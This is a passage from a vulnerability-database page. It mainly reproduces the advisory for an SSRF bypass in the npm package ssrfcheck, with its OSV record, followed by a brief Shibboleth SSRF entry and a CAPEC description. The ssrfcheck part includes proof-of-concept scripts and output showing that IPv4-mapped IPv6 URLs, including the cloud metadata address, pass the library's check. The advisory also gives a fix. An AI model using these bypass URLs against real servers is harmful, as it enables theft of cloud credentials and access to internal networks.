private LAN           -> [::ffff:c0a8:101]
10.x range            -> [::ffff:a00:1]

Step 2 — trigger the bypass:

node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}

console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?',   r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?',        r3 === false);
EOF

Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):

[BYPASS] http://[::ffff:127.0.0.1]/           -> true
[BYPASS] http://[::ffff:169.254.169.254]/     -> true
[BYPASS] http://[::ffff:192.168.1.1]/         -> true
[BYPASS] http://[::ffff:10.0.0.1]/            -> true
[BYPASS] http://[::ffff:172.16.0.1]/          -> true
[BYPASS] http://[::ffff:7f00:1]/              -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true
---
127.0.0.1 caught?   true
192.168.1.1 caught? true
[::1] caught?        true

7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.

Full automated verification script (verify-ssrfcheck.js):

#!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization

const { isSSRFSafeURL } = require('ssrfcheck');

const RED   = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN  = '\x1b[36m';
const DIM   = '\x1b[2m';
const RESET = '\x1b[0m';

const BYPASSES = [
  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },
  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },
  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },
  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },
  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },
  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },
  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },
];

const BASELINE = [
  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },
  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },
  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },
  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },
];

console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);

console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
  const parsed = new URL(url);
  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}

console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
  const result = isSSRFSafeURL(url);
  if (result === true) bypassed++;
  const tag = result === true
    ? `${RED}[BYPASS]${RESET}`
    : `${GREEN}[caught]${RESET}`;
  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
  const result = isSSRFSafeURL(url);
  const ok = (expectFalse ? result === false : result === true);
  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;
  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);

Run:

node verify-ssrfcheck.js
# exit code 1 = bypasses confirmed (vulnerable)
# exit code 0 = all caught (fixed)

VIDEO POC ASCII CAST

asciicast

--

Impact

Vulnerability type: Server-Side Request Forgery (SSRF) — complete protection bypass

Who is impacted: Any Node.js application that: 1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload) 2. Uses isSSRFSafeURL() from ssrfcheck to validate that URL before making an outbound HTTP request 3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)

Concrete impact scenarios:

  • Cloud metadata theft: On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat
  • Internal network pivoting: Attacker reaches services on 10.x.x.x, 172.16.x.x, 192.168.x.x that are not exposed to the internet, bypassing the only protection layer.
  • Localhost access: Attacker reaches http://[::ffff:127.0.0.1]/admin or any service bound to loopback on the server.

The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.

Weaknesses

CWE-918 — Server-Side Request Forgery (SSRF) CWE-184 — Incomplete List of Disallowed Inputs


Suggested Fix

Replace the hand-rolled regex denylist in src/is-private-ip.js with Node's built-in net.BlockList, which operates on parsed IP values and is immune to string representation differences:

- function privIp6 (ip) {
-   return /^::$/.test(ip) ||
-     /^::1$/.test(ip) ||
-     /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     ...
- }

+ const { BlockList } = require('net');
+
+ const _ipv6Block = new BlockList();
+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified
+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback
+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation
+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64
+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA
+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local
+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast
+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved
+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo
+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation
+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4
+
+ function privIp6(ip) {
+   try { return _ipv6Block.check(ip, 'ipv6'); }
+   catch { return false; }
+ }

The ::ffff:0:0/96 subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. BlockList.check() parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ssrfcheck"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:29:33Z",
    "nvd_published_at": "2026-05-12T18:17:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library\u0027s private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input \u2014 all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js  (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n  return /^::$/.test(ip) ||\n    /^::1$/.test(ip) ||\n    /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname);    // e.g. \u0027::ffff:7f00:1\u0027  \u2190 hex, no dots\nconst ipVersion = isIP(ipcheck);               // returns 6\n```\n\nThe WHATWG URL spec (\u00a75.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1       \u2192 0x7f000001 \u2192 [0x7f00, 0x0001] \u2192 serialized as 7f00:1\n169.254.169.254 \u2192 0xa9fea9fe \u2192 [0xa9fe, 0xa9fe] \u2192 serialized as a9fe:a9fe\n192.168.1.1     \u2192 0xc0a80101 \u2192 [0xc0a8, 0x0101] \u2192 serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` \u2014 no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp \u0026\u0026 (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n  return false;   // \u2190 never reached for IPv4-mapped IPv6\n}\nreturn true;      // \u2190 always reached \u2192 BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js \u003e= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required \u2014 default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc \u0026\u0026 cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 \u2014 confirm WHATWG URL normalization:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst addrs = [\n  [\u0027127.0.0.1\u0027,       \u0027loopback\u0027],\n  [\u0027169.254.169.254\u0027, \u0027AWS/GCP/Azure metadata\u0027],\n  [\u0027192.168.1.1\u0027,     \u0027private LAN\u0027],\n  [\u002710.0.0.1\u0027,        \u002710.x range\u0027],\n];\nfor (const [ip, label] of addrs) {\n  const h = new URL(\u0027http://[::ffff:\u0027 + ip + \u0027]/\u0027).hostname;\n  console.log(label + \u0027 -\u003e \u0027 + h);\n}\nEOF\n```\n\nExpected output \u2014 confirms WHATWG drops dots:\n```\nloopback              -\u003e [::ffff:7f00:1]\nAWS/GCP/Azure metadata -\u003e [::ffff:a9fe:a9fe]\nprivate LAN           -\u003e [::ffff:c0a8:101]\n10.x range            -\u003e [::ffff:a00:1]\n```\n\n**Step 2 \u2014 trigger the bypass:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst bypasses = [\n  \u0027http://[::ffff:127.0.0.1]/\u0027,\n  \u0027http://[::ffff:169.254.169.254]/\u0027,\n  \u0027http://[::ffff:192.168.1.1]/\u0027,\n  \u0027http://[::ffff:10.0.0.1]/\u0027,\n  \u0027http://[::ffff:172.16.0.1]/\u0027,\n  \u0027http://[::ffff:7f00:1]/\u0027,\n  \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n];\n\nfor (const url of bypasses) {\n  const result = isSSRFSafeURL(url);\n  console.log(result === true ? \u0027[BYPASS]\u0027 : \u0027[caught]\u0027, url, \u0027-\u003e\u0027, result);\n}\n\nconsole.log(\u0027---\u0027);\nconst r1 = isSSRFSafeURL(\u0027http://127.0.0.1/\u0027);\nconst r2 = isSSRFSafeURL(\u0027http://192.168.1.1/\u0027);\nconst r3 = isSSRFSafeURL(\u0027http://[::1]/\u0027);\nconsole.log(\u0027127.0.0.1 caught?\u0027,   r1 === false);\nconsole.log(\u0027192.168.1.1 caught?\u0027, r2 === false);\nconsole.log(\u0027[::1] caught?\u0027,        r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/           -\u003e true\n[BYPASS] http://[::ffff:169.254.169.254]/     -\u003e true\n[BYPASS] http://[::ffff:192.168.1.1]/         -\u003e true\n[BYPASS] http://[::ffff:10.0.0.1]/            -\u003e true\n[BYPASS] http://[::ffff:172.16.0.1]/          -\u003e true\n[BYPASS] http://[::ffff:7f00:1]/              -\u003e true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -\u003e true\n---\n127.0.0.1 caught?   true\n192.168.1.1 caught? true\n[::1] caught?        true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst RED   = \u0027\\x1b[31m\u0027;\nconst GREEN = \u0027\\x1b[32m\u0027;\nconst CYAN  = \u0027\\x1b[36m\u0027;\nconst DIM   = \u0027\\x1b[2m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\n\nconst BYPASSES = [\n  { url: \u0027http://[::ffff:127.0.0.1]/\u0027,         label: \u0027loopback   (127.0.0.1)\u0027 },\n  { url: \u0027http://[::ffff:169.254.169.254]/\u0027,   label: \u0027AWS meta   (169.254.169.254)\u0027 },\n  { url: \u0027http://[::ffff:192.168.1.1]/\u0027,       label: \u0027LAN        (192.168.1.1)\u0027 },\n  { url: \u0027http://[::ffff:10.0.0.1]/\u0027,          label: \u002710.x range (10.0.0.1)\u0027 },\n  { url: \u0027http://[::ffff:172.16.0.1]/\u0027,        label: \u0027172.16.x   (172.16.0.1)\u0027 },\n  { url: \u0027http://[::ffff:7f00:1]/\u0027,            label: \u0027hex form   (direct)\u0027 },\n  { url: \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027, label: \u0027expanded   (0:0:0:0:0:ffff:127.0.0.1)\u0027 },\n];\n\nconst BASELINE = [\n  { url: \u0027http://127.0.0.1/\u0027,    label: \u0027dotted loopback\u0027, expectFalse: true },\n  { url: \u0027http://192.168.1.1/\u0027,  label: \u0027private LAN\u0027,     expectFalse: true },\n  { url: \u0027http://[::1]/\u0027,        label: \u0027IPv6 loopback\u0027,   expectFalse: true },\n  { url: \u0027https://example.com/\u0027, label: \u0027public domain\u0027,   expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 \u2014 bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n  const parsed = new URL(url);\n  console.log(`  ${url.padEnd(45)} -\u003e hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n  const result = isSSRFSafeURL(url);\n  if (result === true) bypassed++;\n  const tag = result === true\n    ? `${RED}[BYPASS]${RESET}`\n    : `${GREEN}[caught]${RESET}`;\n  console.log(`  ${tag} ${label.padEnd(30)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n  const result = isSSRFSafeURL(url);\n  const ok = (expectFalse ? result === false : result === true);\n  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;\n  console.log(`  ${tag} ${label.padEnd(20)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed (vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) \u2014 complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js \u003e= 10 (WHATWG URL parser enabled \u2014 all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version \u003e= 10.\n\n\n## Weaknesses\n\n**CWE-918** \u2014 Server-Side Request Forgery (SSRF)\n**CWE-184** \u2014 Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node\u0027s built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n-   return /^::$/.test(ip) ||\n-     /^::1$/.test(ip) ||\n-     /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     ...\n- }\n\n+ const { BlockList } = require(\u0027net\u0027);\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress(\u0027::\u0027,          \u0027ipv6\u0027);          // unspecified\n+ _ipv6Block.addAddress(\u0027::1\u0027,         \u0027ipv6\u0027);          // loopback\n+ _ipv6Block.addSubnet(\u0027::ffff:0:0\u0027,   96, \u0027ipv6\u0027);      // ALL IPv4-mapped \u2014 catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet(\u002764:ff9b::\u0027,    96, \u0027ipv6\u0027);      // NAT64\n+ _ipv6Block.addSubnet(\u0027fc00::\u0027,        7, \u0027ipv6\u0027);      // ULA\n+ _ipv6Block.addSubnet(\u0027fe80::\u0027,       10, \u0027ipv6\u0027);      // link-local\n+ _ipv6Block.addSubnet(\u0027ff00::\u0027,        8, \u0027ipv6\u0027);      // multicast\n+ _ipv6Block.addSubnet(\u0027100::\u0027,        64, \u0027ipv6\u0027);      // IETF reserved\n+ _ipv6Block.addSubnet(\u00272001::\u0027,       32, \u0027ipv6\u0027);      // Teredo\n+ _ipv6Block.addSubnet(\u00272001:db8::\u0027,   32, \u0027ipv6\u0027);      // documentation\n+ _ipv6Block.addSubnet(\u00272002::\u0027,       16, \u0027ipv6\u0027);      // 6to4\n+\n+ function privIp6(ip) {\n+   try { return _ipv6Block.check(ip, \u0027ipv6\u0027); }\n+   catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.",
  "id": "GHSA-j4rj-2jr5-m439",
  "modified": "2026-05-13T16:26:31Z",
  "published": "2026-05-05T20:29:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43929"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/felippe-regazio/ssrfcheck"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs"
}

GHSA-J522-236P-WX5G

Vulnerability from github – Published: 2023-06-26 00:30 – Updated: 2024-04-04 05:09
VLAI
Details

Shibboleth XMLTooling before 3.2.4, as used in OpenSAML and Shibboleth Service Provider, allows SSRF via a crafted KeyInfo element. (This is fixed in, for example, Shibboleth Service Provider 3.4.1.3 on Windows.)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-25T22:15:21Z",
    "severity": "HIGH"
  },
  "details": "Shibboleth XMLTooling before 3.2.4, as used in OpenSAML and Shibboleth Service Provider, allows SSRF via a crafted KeyInfo element. (This is fixed in, for example, Shibboleth Service Provider 3.4.1.3 on Windows.)",
  "id": "GHSA-j522-236p-wx5g",
  "modified": "2024-04-04T05:09:14Z",
  "published": "2023-06-26T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36661"
    },
    {
      "type": "WEB",
      "url": "https://shibboleth.net/community/advisories/secadv_20230612.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5432"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.